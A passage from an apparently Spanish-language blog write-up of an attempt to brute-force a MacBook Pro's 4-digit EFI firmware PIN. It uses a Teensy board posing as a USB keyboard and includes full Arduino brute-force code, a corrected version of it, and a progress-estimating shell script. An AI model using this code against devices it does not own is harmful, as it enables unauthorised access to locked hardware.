    &lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;%04d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fakecounter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;450&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;420&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;398&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;510&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;421&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;423&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;430&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;525&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY_ENTER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;305&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY_ENTER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;//reached 4 digit PIN max value&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;fakecounter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito.
Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.&lt;/p&gt;
&lt;p&gt;Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy
pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="k"&gt;  &lt;/span&gt;clear &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;span class="nb"&gt;  &lt;/span&gt;date &lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;date +%s -d &lt;span class="s2"&gt;&amp;quot;Wed Jan 16 17:46:00&amp;quot;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="nv"&gt;current&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;date +%s&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Current PIN Between: &amp;quot;&lt;/span&gt; | tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;($current - $start) / 19.782&amp;quot;&lt;/span&gt; | bc | tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot; and &amp;quot;&lt;/span&gt; | tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;($current - $start) / 18.782&amp;quot;&lt;/span&gt; | bc
  sleep 2
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.&lt;/p&gt;
&lt;blockquote&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2013/02/script-current-running.jpg"&gt;&lt;img alt="Foto del shell script que da un estimado de que rango de números se están usando para el ataque" class="align-center" src="http://orvtech.info/2013/02/script-current-running.jpg" style="width: 720.0px; height: 473.4px;" /&gt;&lt;/a&gt;
&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="buenas-noticias-malas-noticias"&gt;
&lt;h2&gt;Buenas noticias, Malas noticias.&lt;/h2&gt;
&lt;p&gt;Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.&lt;/p&gt;
&lt;p&gt;En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.&lt;/p&gt;
&lt;p&gt;Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.&lt;/p&gt;
&lt;p&gt;Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.&lt;/p&gt;
&lt;p&gt;El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.&lt;/p&gt;
&lt;p&gt;Aquí les dejo un vídeo del ataque:&lt;/p&gt;
&lt;iframe width="720" height="540" src="//www.youtube.com/embed/xXMiX-Bybsw" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="alternativas-un-poco-mas-extremas"&gt;
&lt;h2&gt;Alternativas un poco mas extremas.&lt;/h2&gt;
&lt;p&gt;En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.&lt;/p&gt;
&lt;p&gt;Pueden revisar los temas referentes a EFI en su blog via &lt;a class="reference external" href="http://ho.ax/tag/efi/"&gt;ho.ax&lt;/a&gt; y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo &lt;a class="reference external" href="http://ho.ax/posts/2012/10/ruxcon/"&gt;http://ho.ax/posts/2012/10/ruxcon/&lt;/a&gt;.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="update-un-bug-en-el-codigo"&gt;
&lt;h2&gt;UPDATE: Un bug en el código&lt;/h2&gt;
&lt;p&gt;Recientemente este articulo fue reseñado en hackaday y varios foros lo
que trajo como consecuencia que mas gente revisara mi código y se
percataran de un error en este (¿ven la importancia del Código
Abierto?).&lt;/p&gt;
&lt;p&gt;En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="cp"&gt;#include &amp;lt;usb_keyboard.h&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// This code is licensed under Apache 2.0 License&lt;/span&gt;
&lt;span class="c1"&gt;// http://www.apache.org/licenses/LICENSE-2.0.txt&lt;/span&gt;
&lt;span class="c1"&gt;// Limitation of Liability. In no event and under no legal theory,&lt;/span&gt;
&lt;span class="c1"&gt;// whether in tort (including negligence), contract, or otherwise,&lt;/span&gt;
&lt;span class="c1"&gt;// unless required by applicable law (such as deliberate and grossly&lt;/span&gt;
&lt;span class="c1"&gt;// negligent acts) or agreed to in writing, shall any Contributor be&lt;/span&gt;
&lt;span class="c1"&gt;// liable to You for damages, including any direct, indirect, special,&lt;/span&gt;
&lt;span class="c1"&gt;// incidental, or consequential damages of any character arising as a&lt;/span&gt;
&lt;span class="c1"&gt;// result of this License or out of the use or inability to use the&lt;/span&gt;
&lt;span class="c1"&gt;// Work (including but not limited to damages for loss of goodwill,&lt;/span&gt;
&lt;span class="c1"&gt;// work stoppage, computer failure or malfunction, or any and all&lt;/span&gt;
&lt;span class="c1"&gt;// other commercial damages or losses), even if such Contributor&lt;/span&gt;
&lt;span class="c1"&gt;// has been advised of the possibility of such damages.&lt;/span&gt;
&lt;span class="c1"&gt;// This code is indented for people who are not able to contact&lt;/span&gt;
&lt;span class="c1"&gt;// apple support and I am in no way liable for any damage or&lt;/span&gt;
&lt;span class="c1"&gt;// problems this code might cause.&lt;/span&gt;

&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;ledPin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// choose the pin for the LED&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fakecounter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;xxxx&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// declare LED as output&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
  &lt;span class="n"&gt;keyboard_modifier_keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;%04d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fakecounter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;//sending first digit&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;450&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;420&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;//sending second digit&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;398&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;510&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;//sending third digit&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;421&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;423&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;//sending forth digit&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;430&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;525&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;//sending enter&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY_ENTER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;305&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY_ENTER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;//reached 4 digit PIN max value&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;blinkies&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ledPin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
     &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
